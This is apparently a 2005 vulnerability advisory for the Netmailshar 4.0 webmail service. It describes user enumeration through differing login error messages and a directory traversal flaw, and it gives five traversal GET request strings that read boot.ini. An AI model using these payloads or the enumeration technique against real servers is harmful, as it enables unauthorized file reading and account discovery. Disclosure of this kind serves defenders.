Netmailshar 4.0 (Build 15) Directory traversal & Users enumeration weakneses

Release Date:
19 April ,2005

Severity:
Medium

Vendor:
http://www.pppindia.com/

Systems Affected:
Microsoft Windows NT 4.0 (all versions)
Microsoft Windows 2000 (SP3 and earlier)
Microsoft Windows XP (all versions)
Microsoft Windows 9x

Service Affected:
Webmail(8003)

Description:
netMailshar is an easy-to-maintain, fully featured mail server that enables every computer in an office 
to send and receive email not only across the Internet but also within a LAN. It provides email capability 
to every computer in a network with just one Internet connection. netMailshar saves you money by removing the 
need for getting a separate Internet account, phoneline and modem for each user who wants to access email in 
your network. It works with any type of Internet connection be it Dialup, ISDN, ADSL, Cable modem, or satellite 
connection. 

Details:
Two bugs have been found in Netmailshar 4.0 (Build 15) that may allow a remote user to read
arbitary files as well as to enumerate users.

(1)Directory traversal
example:
GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
GET /..%5C../..%5C../..%5C../..%5C../..%5Cboot.ini
GET /..\\..\\..\\..\\..\\..\\..\\boot.ini
GET /\..\..\..\..\..\boot.ini
GET /..\..\..\boot.ini


(2)Users enumeration
By supplying a valid username you will get a message:
"Invalid Password
Go back and try again!!"
If the username is invalid the message will be:
"Invalid Login
Go back and try again!!"

No more to expand on..

Credit:
Dr_insane
Http://members.lycos.co.uk/r34ct/


Feedback
Please send your comments to: dr_insane@pathfinder.gr